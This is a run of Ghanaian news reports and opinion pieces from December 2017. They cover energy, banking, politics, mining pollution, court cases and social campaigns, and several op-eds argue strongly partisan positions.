In an interview with the Board of Trustees Chairman, Dr Joseph k. Manboah-Rockson he said, INSCAG has come to police the insurance companies to pay compensation promptly to consumers.

We as serve as a link between insurance companies and the consumers of insurance products, he added.

Many a times, insurance consumers have complained of delays in claims payment and in some cases non-payment of claims at all due to non-adherence to the exact process or requirement or missing evidence to support claims settlement by the insurance company.

INSCAG with its education of consumers on the right things to do and not to do, their rights and responsibilities, awareness creation on the right package of products available to specific consumers and the legal support services provides relief to insurance consumers in the country.

INSCAG is set to start its membership registration drive soon across the country collaborating with the drivers unions including Ghana Private Road Transport Union, PROTOA, Co-operatives, Real Estate Developers Association and the Oil Marketing Association among others.
Marketing Support Consultancy Limited (MSC), a marketing research group based in Accra, has donated items worth GH 1,500 and a cheque of GH2,000 to the Teshie Children's Home.

The items comprised of packets of toilet rolls, bags of rice, gallons of cooking oil, cartons of beverages, packets of biscuits, assorted soft drinks and fairly used clothing and sandals.

The CEO of MSC, Olakunle Olutimehin, stated that for us it is an opportunity to reach out to less-privileged members of society and we believe that this gesture will serve as a modest source of motivation to increase their perspective of life, as well as the realisation that they are loved.

It is for this reason that my company since its establishment in 2005 has sustained the act of making donations to various vulnerable groups, especially during Christmas, he added.

The founder of the orphanage, Janet Parker, expressed her appreciation to MSC for the donation, adding that such donations are a welcome relief for management.

Mrs Parker indicated that the orphanage was established 22 years ago with 35 inmates.

She expressed her excitement with how their collaboration with the Department of Social Welfare under the family integration system was yielding positive results for inmates, most of whom are being adopted by families at home and abroad.

In a later development, Mrs Bola Olutimehin also made a personal presentation of a 25-kg size of rice and some packets of toilet rolls to the orphanage.
19.12.2017 LISTEN

As part of effort to ensure electricity sufficiency, the country has added 470 megawatts to its installed capacity.

This takes Ghana's installed capacity to over 3000 megawatts.

Although, this is still below the target of 5000 megawatts installed capacity the previous government planned to achieve by the year 2020, it is a great milestone which leads the country into energy sufficiency.

The 470mw addition is due to the inauguration of the largest ever powership in the world Osman Khan last week.

The karpowership has the capacity to generate 470 megawatts of power.

Deputy Minister of Energy, Joseph Cudjoe, revealed the powership replaces the 225 megawatts powership, Karadeniz Powership Aysegul Sultan.

Mr. Cudjoe said the Osman Khan powership would be relocated to Takoradi to make use of gas from off the Cape Three points in the Western Region.

He indicated with Ghanas power demand increasing by 10% annually, government will put up the necessary policies to ensure sustainable, accessible, reliable and affordable electricity.

The CEO of Karpowership Orhan Remzi Karadeniz said the presence of the powership is the fulfilment of the obligation to ECG.

The new power barge is in fulfilment of a power purchase agreement (PPA) signed with the Electricity Company of Ghana (ECG).

The PPA, according to reports, requires Karadeniz to provide a total of 450 MW capacity of power and directly feed it into the national grid for 10 years.

The 470 MW Powership will supply uninterrupted and reliable electricity at one of the lowest costs to Ghana for thermal power generation with its dual fuel engines and combined cycle power generation technology, Karpowership Ghana Company Limited said in a statement in August this year

The Powership will initially use low Sulphur Heavy Fuel Oil (HFO) to generate electricity but the fuel will be converted to Natural Gas as soon as local Natural Gas supplies become available, ensuring cost savings for Ghana, it added.

It assured that the operations of the powership will have a significant contribution to Ghanas electricity supply as the most reliable power plant in the country and create more employment opportunities.
It has been predicted that, Ghana is likely to experience drought in the near future if much is not done to ameliorate the impact of climate change.

According to prediction, the Northern part of Ghana will be the hardest hit should there be drought because of the nature of the climate in the three regions of the North.

Senior Research Fellow at IEA, Professor John Asafu-Adjaye disclosed recently that, Ghana is at risk of having a repetition of the 1983 and 2007 droughts experienced by the country in the next few years as climate change becomes more evident.

He remarked, This particular reason focused on the Northern Regions, the three Northern Regions because thats where the climate change is going to impact more negatively. In fact, its going to impact in the whole of the country but the northern part will feel the brunt of the climate change because already it is one of the hottest areas and it is going to get hotter.

Theres been several events in the last 20 or 30 years and some of you may remember the early 1980s where we had droughts as well as floods and the worse point of this period was in 1983 and the droughts also affected the whole country and if you remember that was also the year, the migrants from Nigeria was sent back to Ghana and there was a lot of starvation in Ghana. There was also another episode in 2007, maybe not as serious as the 1983 one but this sought of cycle can be expected to happen more frequently in the future as a result of climate change, he disclosed.

The Senior Research Fellow at IEA observed that the research also concluded that by 2050 the temperature across Ghana is expected to increase by between 2.1-2.4 degrees centigrade.

He noted that this development may result in harsher weather conditions in the Northern part of the country and increase the poverty level there since majority relies on agriculture for survival

Northern Region we all know is among the poorest regions in the country and due to the location as well as other challenges. It is going to get drier, it is going to increase poverty and already the poverty levels are high but this could worsen with the effect of climate change he stated.

Prof. Asafu-Adjaye proposed the creation of irrigation dams and lauded the government for the plans to construct a dam in all districts of the regions of North to provide all year round water.

The research findings were presented during a roundtable discussion held at the Ambassador Birgit Storgaard Dialogue Center, IEA, on the theme Technological and Market Options for Managing Climate Change-Induced Risks for Smallholder Farmers in Ghana: Evidence from Northern Ghana.

The research was sponsored by DANIDA but led by a team of Ghanaians researchers with assistance from Danish counterparts.
19.12.2017 LISTEN

The Bank of Ghana (BoG) is fine-tuning a whistleblowing policy that will encourage the general public to pass on confidential information on malpractices in banks for thorough investigations to be undertaken and appropriate sanctions applied.

The policy, which will be the first of its kind by the central bank, will also prescribe protection for whistleblowers as part of a grand strategy by the bank to help encourage whistleblowing on banks in the country.

Experts believe that, the whistle-blowing policy would be helpful to both the BoG and employees of banks in the long run.

The Governor of the BoG, Dr Ernest Addison, said in Accra that the move was part of a range of measures due to be introduced into the banking sector.

The initiatives are meant to promote transparency and accountability in the entire financial sector, Dr Addison said at the dinner dance of the Chartered Institute of Bankers (CIB) Ghana on December 2.

We will advocate a whistleblower provision to protect individuals who raise alerts to the BoG on malpractices by the banks, he said.

Banking Consultant, Nana Otuo Acheampong is of the view that, beyond giving the central bank leads to infractions in the sector, it would help protect the customers against a possible collapse and its adverse impact on their end-of-service benefits.

What we learnt from the collapse of the UT and Capital Banks is that the staff lost out; they did not have any benefits. So if there is a whistle-blowing system in place, the staff can report infractions and the BoG will act on it. That way, their jobs and benefits will be secured, he said.

The Banks and Specialised Deposit-Taking Institutions Act, 2016 (Act 930), which empowers the BoG to withdraw the licences of banks, does not make provisions for staff in the event of bank failures.

Meanwhile, a former Deputy Governor of the BoG, Mr Emmanuel Asiedu-Mante has said, although a lot of infractions occurred in the banks, the BoG is mostly unable to identify them, hence the need for a strong whistle-blowing policy.

He recalled an incident where he and his team of supervisors at the central bank had examined and approved the operations of a bank, only to be alerted by an informant that someone in the bank was siphoning money out for personal use.

That was like whistleblowing and it put me on the alert and we immediately started investigating, he said, declining to go into details.

Some people are so clever that they can hide things. Others can collude but if you get a God-fearing person in there to alert the supervisor, the lead can be followed and it can unravel those behind the dubious deals, he added.

The push for a whistle-blowing provision comes on the heels of the collapse of the UT and Capital banks in August this year.

Although the central bank is yet to explain the causes of the two banks failure, Dr Addison said on December 2 that the underlying reason was poor corporate governance practices.

In this instance, we saw the dominant role of shareholders who exerted undue influence on management of the banks, leading to poor lending practices.

This was also reinforced by weak risk management systems and poor oversight responsibility by the boards of directors, he said.

Given that the inaction of the management and directors could have led to the collapse, the former deputy governor said it was possible that the BoG was now trying to prevent a repeat through a whistle-blowing policy.

Making reference to some memos from the former Managing Director (MD) of the Capital Bank, Mr John Kofi Mensah, that emerged right after the collapse of the two banks, Mr Asiedu-Mante said a strong whistle-blowing policy could have encouraged the former MD to pass on the information for follow-up.

I think that it is because of this that the central bank wants to encourage people to come under the cover of whistleblowing to report, he added.
The Chairman of the Peoples National Convention (PNC), Bernard Mornah is convinced that the frustration of his planned peace march was orchestrated by the National Security Minister, Albert Kan-Dapaah.

According to him, the minister took the action in order to protect the image of the Togolese president, Faure Gnassingbe, whom he claims is Mr. Kan-Dapaahs close friend.

My suspicion and my later investigations have all proved that the National Security is complicit in this matter. Because the National security is a very close ally to Faure Gnassingbe and also he is a constant host of the Minister for Security in Togo, who always comes to Ghana, Bernard Mornah said in an interview on Eyewitness News on Monday.

About 19 persons including Mr. Mornah were arrested by the Nima Police on Saturday morning when they gathered as members of the Ghana-Togo Solidarity movement to hold a peaceful march to draw the attention of local and international authorities to the political crisis in Togo.

According to the Police, they had earlier permitted Bernard Mornah and his group to undertake the peace march, however, they informed him later to cancel it due to operational challenges and intelligence that another group was trying to interrupt their activity.

Bernard Mornah arrested

But Mr. Mornah denied the claim, saying that he assured the police the peaceful march required very little police presence.

Bernard Mornah was however granted bail several hours later.

He lamented that the Police manhandled him and treated him in a way that violates his human rights.

He told Umaru Sanda Amadu on Eyewitness News that the National Security Minister was complicit in the uncouth conduct of the Police against him.

The Minister is always the one polluting the president about the happenings in Togo and eventually he had to use his office to push. I asked many people that I am close to in government that how come this could come about and it turned out that my suspicion of the National Security Minister is justified If his friend is the minister responsible for security in Togo, and his friend is Faure Gnasingbe and we are bringing the issues of Togo so that people get to know the alarming situation, the abductions that are going on, and he does want that to be seen of his friends, what do you expect him to do?, he quizzed.

I am scandalized that Ghana would want to position itself as anti-people's freedom in Togo and that they are for a government that has been dominated by one family for 50 years, he added.

Albert Kan Dapaah, National Security Minister

26 Togolese arrested for illegal protest in Accra

In October 2017, the Police arrested 26 Togolese nationals for attempting to stage an unlawful demonstration over the political situation in their country.

According to the Accra Regional Police Operations Officer, Chief Superintendent Kwasi Ofori, about 300 Togolese had to be dispersed lawfully at the Kawukudi Park because their intended action was in clear breach of Ghana's public order act.

That was the second time that Togolese in Ghana have tried demonstrating in solidarity with efforts back home by the opposition to have presidential term limits.

Police condemned

Meanwhile, some Civil Society Organizations and individuals have condemned the Police for their recent actions especially against persons who plan to hold non-commercial special events.

Ghanaian innovator and researcher with IMANI Africa, Bright Simmons, challenged the Ghana Police over its suggestion that it must approve all notices of non-commercial events before they can be held.

According to him, that stance is not back by law.

What does the Public Order Act say?

The Public Order Act 1994 (ACT 491), from where the Police draws its authority in the holding of special of events indicates that, in attempt to stop a special events from occurring either because organizers refuse to comply with a request to postpone or relocate events, police may apply to any judge or a chairman of a Tribunal for an order to prohibit the holding of the special event on the proposed date or at the proposed location.



By: Jonas Nyabor/citifmonline.com/Ghana

The post Kan-Dapaah ordered my arrest  Bernard Mornah alleges appeared first on Ghana News .
Gaming has urged Ghanaians to stop shielding illegal gaming operators. The Commission is clamping down on illegal gaming operators in the country. The move according to the commission will ensure sanity in the gaming industry.

In a latest swoop in the Northern Region, about 27 Jackpot machines were confiscated from some illegal operators.

The joint swoops by the Gaming Commission and the Ghana Police Service revealed that although a number of these gaming centres are owned by foreigners, Ghanaians are running the businesses as managers.

Speaking to Joy Business, Public relations officer of the commission Beatrice Baiden warned against such acts  where Ghanaians front for foreigners.

Most drinking bar operators are approached by these foreigners, who in the end use their bars/ shops as centres for these jackpot machines. Sometimes they also try to shield them during our swoops, she said.

She sighted an example wherein Juapong (Volta Region) one illegal operator whose jackpot machines were confiscated, tipped an Okada rider with one GHs1 to go round the town to alert other illegal operators of the presence of the task force.

Instances like this affect our operations. If we Ghanaians are helping them to run illegal businesses, then how will our nation go on, she lamented.

She also advised Ghanaians who intend to do business on behalf of foreign investors to contact the commission before engaging with them.

Madam Baiden Any Ghanaian who wishes to engage with such foreigners must first contact the Gaming Commission to find out if they are licensed or not otherwise they do so at their own risk.

The series of joint swoop operations by the Gaming Commission and the Ghana Police Service are part of an initiative code-named V.I.RECT Operations. The operation is expected to run across the ten regions of the country.
Acting National Chairman of the New Patriotic Party (NPP), Freddie Blay, has urged his party members to unite and support President Nana Addo Dankwa Akufo-Addo to rapidly develop the country.

Ghanaians are watching how the Akufo-Addo-led administration would rescue them from the mess created by the previous NDC administration and take them to the promised land, according to him.

In this regard, Mr Blay, who is tipped to become the next NPP National Chairman, stressed the need for the NPP members to fully support the president to succeed.

He said enmity, disunity and backbiting have the potential of preventing the NPP administration from implementing their policies.

Mr Blay, who is admired by NPP delegates for leading the party to capture political power from the NDC in 2016, stressed that the NPP members should remain united at all times in the interest of the party and government.

I am urging all NPP members to stay united and rally behind Nana Akufo-Addo's government so that they can work in peace and take the country to the promised land within a short period of time, as the party promised before the 2016 polls.

Ghanaians are watching, in fact, they are looking up to us to implement pragmatic policies and programmes that will bring massive transformation to their lives and we cannot disappoint them, the acting NPP National Chairman, said.

Mr. Blay, who has been described by NPP members as a team player, hard-working and visionary, sternly warned that infighting in the NPP could negatively prevent the government from delivering on its promises to the people.

The acting NPP National Chairman, who has united the party members, disclosed this to NPP delegates during the party's Extraordinary National Conference held in Kumasi on Sunday.

Mr Blay was of the belief that if the NPP members remain united and support the government, President Akufo-Addo would develop the country effectively within a short period of time.
A Special Advisor to the UN Secretary-General on the Sustainable Development Goals (SDGs), Prof. Jeffrey Sachs, has pledged to lead Ghanas diversification effort from cocoa to coffee production.

His support will be in the area of sharing ideas over how to diversify into coffee production; scale up the production of coffee; getting a market for the production of coffee; and helping the country achieve the sustainable development goals as well as how to reach new partners.

Prior to making this pledge, the renowned economist had already connected the West African countrys Kuapa Kooko, a cocoa farmers cooperative organization to the worlds number three leading manufacturer of coffee products, Luigi Lavazza, a testimony of an already existing market for their produce.

His support to Ghana in this diversification exercise was spurred by Kuapa Kookos sustainable development goals program which will see the over 100,000 cocoa cooperatives and a household of more than 500,000 set up a coffee processing plant and coffee plaza at Ampabame and Daatano respectively, all in the Ejisu-Juaben Municipal Assembly in the Ashanti Region in the coming years.

Kuapa Kookos SDG compliant project of which a seven and a half (7.5) acres of land has been acquired for was facilitated by Millennium Promise Alliance (MPA), a non-governmental organization which is at the forefront of the Sustainable Development Goals in Africa.

The artist impression of the Coffee processing plant and Coffee plaza

The project falls in line with the Government of Ghanas vision of adding value to cash crop like coffee and as well help in the fight to achieving the SDGs.

The coffee processing plant which also has a packaging and a warehousing facility, according to the initiators of the project, will be set up on a six-acre plot of land in the free zone area in the Ejisu-Juaben Municipality while that of the coffee plaza will be set up on a one and a half acres of land situated on the Accra-Kumasi Highway.

At a high-level meeting on the sidelines of an SDG program hosted by Ghana on Monday, Prof. Jeffrey Sachs expressed his excitement about the ideas put forth by the management of Kuapa Kooko and further promised to assist them to realize their dreams.

This for me is very exciting and I am going to continue to do my best to help bring the partners and help Kuapa Kooko fulfill its vision, he noted.

The Managing Director of Kuapa Kooko, Mr. Samuel Adimado, addressing the forum explained the rationale behind the diversification exercise and the setting up of the SDG compliant coffee processing plant and a plaza.

According to him, the impact of climate change which is seriously affecting the production of coffee which has triggered down to affecting the income levels of farmers has spurred the need to diversify into coffee production which is resistant to climate change.

He said his office has contracted the COCOBOD and the Cocoa Research Institute on the need for planting materials and also inform them of Lavazza Foundations preparedness for them to kick start the multi-billion dollar project.

The farmers are ready. Those who have land are already preparing for the coffee production. One of the agronomic advices is that we will not do cocoa-coffee intercrop. It is a system that exists in Liberia, Sierra Leone and Cote dIvoire. They want coffee mono-crop or coffee mixed with other crops not cocoa. So, we will use this program to interface in climate-challenged areas of Kuapa Kooko. Already we have a lot of farmers who are threatened by the impact of climate change, he explained.

Furthermore, Mr. Adimado said, Kuapa Kooko will also concentrate on marginal fields in cocoa growing areas which are not conducive for cocoa production because when the land is undulating, it is not good for the production of cocoa and so we will use it for coffee production.

About 30,000 farmers in the Brong Ahafo, Ashanti, Central, Eastern and some parts of the Volta Regions have expressed interest in going into coffee production.
Government has plans to convert the disputed area between Nkonya and Alavanyo in the Volta Region into a second jungle war training school for the Ghana Armed Forces (GAF).

Defence Minister Dominic Nitiwul said the move will help bring lasting peace to the conflict-riddled area.

Answering questions on the floor of parliament on Tuesday, 19 December, Mr Nitiwul indicated that the school will become the training centre for the Ministry of Defence's proposed Special Forces when funds are made available.

There is intense enmity between the two communities who have been fighting for almost a century over the patch of land.

This has resulted in countless deaths and intermittent attacks by members of the two communities, creating tension around the areas bordering the disputed land.

The Executive Director of the Ghana Institute of Governance and Security, David Agbee, in an interview with Class News on 20 April 2017 urged government to take over the land to foster peace.
Booomers International, a leading bamboo bicycle manufacturer in Ghana has won the SME of the year award at the maiden edition of the Prestigious UK Ghana Chamber of Commerce Business Excellence Awards. The award was in recognition of the performance and impact of the company in the year 2016. Other nominees in the category were Vokacom, Express Pay, and Addai Cutlass.

This is the second award for the company in a period of 2 months. In October, the CEO of Booomers was honoured by the owner and founder of the Tony Elumelu Foundation, Mr. Tony Elumelu for an award in recognition of the impact Booomers is making in the communities through the provision of jobs and livelihoods in rural Ghana. The award was presented by the Vice President of Nigeria, His Excellency Mr. Yemi Osinbajo.

Booomers has strived to become a leading company in the Bamboo Bicycle industry. This is currently considered the biggest in Africa with distributors in over 6 countries. The company is making plans to launch the product in the UK very soon as well as in North America. The CEO, Kwabena Danso said such awards only come to encourage you to do more and not to relax. When you get recognition, it only tells you everyone is watching and so you need to work hard, he said.

The UK Ghana Chamber of Commerce is an organization of UK and Ghanaian companies and the main aim of the foundation is to foster trade between the two countries. DecoKraft, a local Ghanaian chocolate making company also won the ENGINE graduate of the year award.
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A Supreme Court judge has been appointed to preside over the committee to investigate the chairperson of Ghana's Electoral Commission, Charlotte Osei and her two deputies.

Mrs. Osei and her deputies  Sulley Amadu and Mrs Georgina Opoku-Amankwa  have been accused of corruption and breaches of the law, which if found culpable, will lead to their impeachment.

Some anonymous staff of the Commission in July 2017 petitioned President Akufo-Addo to remove the chairperson over alleged abuse of office, causing financial loss to the State and breaches of Ghana's procurement laws.

Mrs. Osei has since denied the claims, which she described as unfounded and accused her deputies who are also facing impeachment over corruption, as masterminds of the petition.

As per the constitution, President Akufo-Addo notwithstanding forwarded the petition to the Chief Justice to weigh the allegations to establish if there is a prima facie case to trigger impeachment against the three.

A statement issued by the Judicial Secretary Tuesday said, there was a prima facie case against the three officials of the Electoral Commission

Consequent to that, the statement said the Chief Justice has set up the five-member Committee to commence impeachment hearing against the three commissioners.

It however failed to name members of the Committee, which it said, would be presided over by a Supreme Court judge.

'In-camera' hearing

Hearing of the case will be conducted in-camera, the statement said, but did not say when the impeachment hearing will commence.

The Committee, which will sit in camera, in line with normal practices, consists of three justices of the Superior Court appointed by the Judicial Council and two other persons appointed by the Chief Justice on the advice of the Council of State, the statement said.

It added: The Committee is chaired by a Justice of the Supreme Court.

The statement urged the public to treat the Committee with the respect and dignity it deserves as it goes about its constitutional duty.

It also advised all to refrain from making comments that will undermine the work of the Committee warning such infractions may constitute contempt.
Convicted Dutch arms dealer Guus Kouwenhoven who supplied arms that fuelled Liberia's bloody civil war was on Tuesday released by a South African court on bail of $78,000, local media reported.

Kouwenhoven, 75, was arrested at his Cape Town mansion in early December after Dutch prosecutors requested his extradition to serve a 19 year sentence for his role in the west African country's conflict.

He was reportedly granted bail "under strict conditions" that include reporting to a police station every two hours during the week.

"He has also been placed under house arrest (on weekends) and his passport is to be handed in," the News24 site reported.

Kouwenhoven was found guilty in absentia by a Dutch court in April of delivering weapons to the regime of ousted Liberian strongman Charles Taylor between 2000 and 2003.

In return for the arms, he received preferential treatment and lucrative contracts for his logging business in violation of a UN arms embargo.

His bail hearing in Cape Town last week revealed his lavish lifestyle and multi-million dollar homes and luxury vehicles acquired since he arrived in South Africa, reportedly in December 2016.

Kouwenhoven's legal team argued that he was seriously ill, with a life expectancy of just three years.

But Magistrate Vusi Mhlanga nonetheless ruled that Kouwenhoven was a flight risk.

"The applicant has already been convicted, he's not someone presumed to be innocent," Mhlanga said.

"The court is also mindful of the fact that the borders of this country are poorly guarded."

After his 1989 rebellion against then-Liberian president Samuel Doe turned into a brutal civil war, Taylor was elected president from 1999 to 2003.

He also backed the Revolutionary United Front rebels in neighbouring Sierra Leone while in power, fuelling a civil war that claimed 120,000 lives between 1991 and 2002.

After fleeing to Nigeria in 2003, Taylor was arrested in 2006 and sentenced by an international UN-backed court in The Hague to 50 years in prison in May 2012.

The owner of two of the largest lumber companies in Liberia, Kouwenhoven was close to Taylor.

He was sentenced to eight years in prison in June 2006, but was freed on appeal in March 2008.

In April 2010, the Dutch Supreme Court overturned his acquittal, ruling that the appeal judges had not given sufficient reasons for not hearing the testimony of two new anonymous prosecution witnesses.

He was found guilty in a retrial and in April 2017 sentenced to 19 years behind bars.
19.12.2017 LISTEN

Dear Ghanaians,

I write to you today with the intention to inform you about some unscrupulous people who are hell bent on creating hell in your lives just to fill their bellies. You see, I am going to very simple and blunt about this story. The Liquid Petroleum Gas Marketing Companies have adopted an NDC-like recalcitrance when it comes to the safety and security of the nation.

In the past eight years, of NDC rule, the system was so abused that it has now become an issue to sanitise it. Having done so with other petroleum marketing companies, the turn of the LPGMCs was due, albeit very long overdue. When the NPA announced that government was going to adopt a strategy to save lives by creating a system where cylinders are filled in locations away from densely populated areas, those carefree characters cried foul. The government held on, but if you ask me, Id say we erred there.

The new regulation should have been implemented. Unfortunately, the CEO of NPA had to wait for clearance, which subsequently, came. In the interim, a little mistake happened at the atomic junction LPG outlet that might have come from a kebab seller or static electricity due to weather phenomenon or the proximity of an active cell phone. Whatever the cause was, the gigantic plume that resulted from the explosion of a gas tanker during discharge told how disastrous that incident was.

Unfortunately, the LPGMCs have not learnt a lesson. Ever since then, they had sought to manipulate the system to create disfavour for some loyal and patriotic folks who love the nation and put the interest of Ghanaians ahead of theirs. Many foolish reasons were made as to why it would be a wrong move to relocate the LPGMCs out of the town and shut non-compliant ones, the major one being that lots of jobs would be culled. In fact, they are so careless that they do not even think that the next casualty of an explosion could be their family member or child. We all know and believe that GOD moves in mysterious ways. That is the extent of their selfishness and greed. They do not mind making a buck or two at the expense of the lives of Ghanaians some of whom are their family members.

The LPGMCs claim that the government is concertedly trying to destroy their businesses. How nonsensical indeed! I mean how? Look, this is the era of innovation, and if the LPG business is going through positive metamorphosis to be in line with the current trends, then why not? After all, we once used Maame trucks (arrowglass) to travel; now we have migrated to the use of VIP buses and latest other modes of transportation. Does that mean we have made the drivers and mates of those Maame trucks jobless?

Not too long ago, people had to go to the post and telecommunication (P&T) company to make calls to people just a short distance away; but today with just a small gadget in your pocket, you can reach an affiliate in China. Does this mean we have cancelled the jobs of the people at former P&T? In the eighties, we would buy chilled water on the streets that is just fetched from a bucket with a plastic cup,which we all drank from; that migrated to polythene sachets that were bloated like a pregnant zebra; today we have migrated to the use of pure water sachets. Does this mean that we have cancelled the jobs of the former?

NO NO NO!!! They just have to succumb to the changes in time, and ways that things are done. Besides, the population has bloated in the shortest period of time (ade3 y3d3 w) b3be ), so the necessities of the status quo demand that the system restrategises to meet the demands of a nation that is being made Great Again under the presidency of Nana AddoDankwaAkufo-Addo.

What is confusing is that representatives of the Union of LPGMCs are all over the place singing one song and playing the tune of another; quite discordant and ear-bursting! What I cannot stomach is shameful irony of circumstances that can only point to one trait  Nation Wrecking! They do not mind wining and dining when such culinary opportunities makes manifest, yet they will revert after that to the empty humdrum buffoonish noise that is unbefitting of a healing nation.

Recently, the representatives of the union of LPGMCs participated in the just ended LPG Implementation Committee working visit to Morrocco, Senegal and Ivory Coast, where Ghana received a prize to honour the hard work that the government of Nana Akufo-Addo was chalking through the Ministry of Energy and the National Petroleum Authority. They accepted to comply with the relevant new regulations, otherwise what would have sent them on this visit?

I want to send them a strong message that THE BUSINESS OF GOVERNMENT WILL NOT BE DISTURBED. The laws will be adhered to sacrosanctly, whether anybody likes it or not. Nana Akufo-Addo is not here to trade tomatoes and onions. He is here to bring back the Ghana that we all crave for; a Ghana of honour, aide-free independence, success, fiscal maturity, and self-sustainability.

So I say to the LPGMCs, Wop3 o Womp3 o, adwenpa b3 y3 adwuma.

GOD bless you my fellow Ghanaians. Have a Merry Christmas and Happy New Year!!!
A grocer from Niger who knifed a Danish couple in Gabon shouting "Allahu akbar" came to the capital just two days before the attack and had been stalking the pair, a prosecutor said Monday.

Saturday's attack on the Danes, who were in the west African state filming for National Geographic, was "premeditated," Libreville prosecutor Steeve Ndong Essame Ndong said, adding that the man had lived in Gabon for 19 years.

He said the 53-year-old came to Libreville on Thursday "with the aim of committing this cowardly act 'against whites'", adding that it was not clear if the attacker was acting alone or for a group.

The man said in his first statements that he "acted in retaliation for US attacks against Muslims and America's recognition of Jerusalem as Israel's capital," Defence Minister Etienne Massard said.

The Danes were stabbed while shopping for souvenirs in a popular tourist market in the heart of the capital. The man sustained severe injuries in the back and neck but his life is not in danger.

Police have made several arrests and 38 West Africans are in custody.

Gabon, a small French-speaking former colony with 1.8 million inhabitants, has so far been spared the Islamist-inspired attacks that have taken place in some neighbouring countries.
19.12.2017 LISTEN

Despite the fact that humanity, in general, has managed to achieve monumental progress in combating gender inequality over the last century, it still remains one of the deep-seated problems confronting Ghana. Of course, some successes have been achieved, but they are not worth writing home about. That is the reason Professor Kuenyehia, a gender advocate, describes our progress as slow and frustrating. Other scholars, analysts and development think-tanks concur that it is not worth celebrating. Moreover, the UNDP and other international institutions have unsparingly bemoaned our insipid progress. As such, we do not need anybody to come and educate us on the need to do everything creatively possible to work towards achieving gender parity.

Therefore, I see the He-For-She Advocacy campaign (See: Government launches He For She Advocacy campaign to reduce Gender inequality, 14th December 2017, Ghanaweb/ rainbowradioonline.com) as a laudable venture in terms of achieving Sustainable Development Goal (SDG) 5: Achieve gender equality and empower all women and girls. As a global development initiative, the He-For-She campaign admonishes men and boys to support women and girls in all their endeavours. It is an innovative approach to development, requiring people from everywhere to unite as equal partners in fashioning and implementing specific and locally-relevant solutions to issues militating against the attainment of gender equality for the benefit of all and sundry.

The above is the reason Ghanaians should make sure this advocacy campaign is not limited to only Accra. It should be taken to every nook and cranny of the country. We sometimes have the impetuous tendency of thinking that the only settlement in Ghana is Accra. A city-state of sorts! Innumerable development initiatives were introduced in the country in the past and were trammeled to only the nations capital. As a consequence, they turned out to be ineffective. We should not add this to the list. Our lack of extending such significant development initiatives to the Adukroms, Kofikroms, Nyamebekyeres and Zabzugus of the country is one of the reasons we are unable to combat simple problems that pertain to development. Take the issue of forced marriage for instance, it is no secret that some young women are forced into marriage in some areas, especially the northern part of the country. For female genital mutilation, the least said about it the better. All these serve as impediments towards achieving gender parity. No wonder our progress has been conspicuous only in Accra.

That is symptomatic of our lack of seriousness towards achieving SDG5 in particular and development in general. A campaign is launched in a ministry in Accra (Greater Accra Region) today, and you travel tomorrow to the Western Region and ask people working in the same ministry about it. Shocking answers such as: I have never heard of it before and I dont know anything about it are obtained. Thoughts about such issues make one wonder if we are indeed serious as a country. The implication is that we have a long way to go in improving on gender equality in the country. If we are indeed serious about achieving gender equality, we should emulate other countries. We should put considerable effort into making sure that such initiatives and campaigns are spread to all corners of the country. That is what countries that have achieved progress in SDG5 do. They refrain from limiting campaigns to their capital cities. For them, confining such campaigns to only the nations capital and harbouring the fatuous optimism of achieving the desired results is the last thing any country which is serious about development should do.

Thus, achieving remarkable progress in gender parity needs an all-inclusive approach: everyone has to be involved, as the He-For-She initiative advocates. If we cannot extend this advocacy to every part of the country, it will be as worthless as the others; so the earlier we stop making noise about it, the better.

Kwabena Aboagye-Gyan

([email protected])
19.12.2017 LISTEN

We have undoubtedly made some progress as a nation in the fight against illegal mining, popularly called galamsey, and I have maintained that for 2017, my Minister of the Year is the Minister for Lands and Natural Resources, Hon. John Peter Amewu and I are sure many of you would agree with me.

In fact, Mr. Amewu has really won the hearts of most Ghanaians for his yeomans role in halting galamsey activities which have resulted in the wanton destruction of the countrys forest, rivers and water bodies and the environment in general. Hon. Minister, I say bravo and I doff my hat for you.

It is refreshing to note that a few months after this gargantuan onslaught on galamsey activities, some rivers which had been polluted and virtually become undrinkable are gradually regaining their natural state while efforts are underway to reclaim the degraded areas.

From the momentum gathered since President Akufo-Addo assumed office on January 7, 2017, in ending illegal mining in Ghana, I have no doubt in my mind that most of the lands which have been destroyed and degraded would be reclaimed and used for afforestation, farming or for some other purposes which would be more useful to the people of Ghana.

While focusing our energies on ending galamsey once and for all, we should also be looking at the irreparable damage being caused by some large-scale mining companies operating in various parts of the country, and possibly put their operations on hold pending the outcome of thorough investigations on the impact of their operations on the environment, food security and the health of both their workers and people living around the mines.

People are dying from various ailments that could be attributed to the operations of some of these large-scale mining companies. For instance, two research studies carried in some communities around Newmont Ghana Gold Limited (Ahafo Mine) in the Asutifi North District of the Brong Ahafo Region paint a gloomy picture about the health of residents and workers of the company alike.

If one should ask any of the companies involved in large-scale mining companies about their social and economic impact on the communities in which they operate, they are most likely to respond by enumerating some projects they have undertaken under social responsibility.

These mining companies would easily tell you about schools and clinics and bungalows they have built for their host communities or some boreholes and scholarships being provided for the communities. They seem to create the impression that that so-called social responsibility stuff, which they keep trumpeting from the roof-top, are enough to take peoples minds off the severity of the damage they keep causing to the environment and to the lives of residents.

According to a research carried out in 2016 titled Exposure to toxicants in environmental contaminants within Newmont Ghana Gold Limited  Ahafo Mine: Human Risk Assessment Approach by Dr. Frederick A. Armah of the UCC and Mr. Samuel Obiri, a Senior Research Scientist of CSRI, all workers and residents are at risk of getting various kinds of diseases.

The research methodology involved the collection of a total of 70 water and 30 sediment samples from surface water bodies in some communities around Newmont Ahafo Mine. Also, 19 rainwater samples were randomly collected for analysis.

The results of all this show that all our water bodies have been seriously polluted by Newmont and that residents in the Asutifi North District, especially those living in Kenyase Number One, Kenyase Number Two, Ntotroso, Gyedu and Wamahinso and their surrounding communities, as well as workers of Newmont, are exposed to the risk of having cancerous and non-cancerous diseases.

It is clear from my interactions with some residents of these communities that management of Newmont Ahafo Mine should take the research study serious because of the long-term negative effects of their operations on the health of the innocent people of the area.

In an attempt to deny and rubbish the research, which had brought out the revelation of the levels of environmental pollution, Newmont Ahafo Mine, I learnt, contracted Dr. Kwaku Poku Asante of the Kintampo Health Research Centre to also conduct another research with the objective to counter the findings of the earlier study by Dr. Frederick A. Armah and Mr. Samuel Obiri.

Newmont again contracted, Dr. Michael Poku-Boansi, a Senior Lecturer of the Planning Faculty of Built Environment of the Kwame Nkrumah University of Science and Technology to conduct another study with the sole aim of (KNUST) rubbishing the claims in the report titled Assessing the social and economic effects of mining on women affected by Newmont Ghana Limiteds operations by Dr. Emmanuel Yamoah Tenkorang of the Institute of Development Studies.

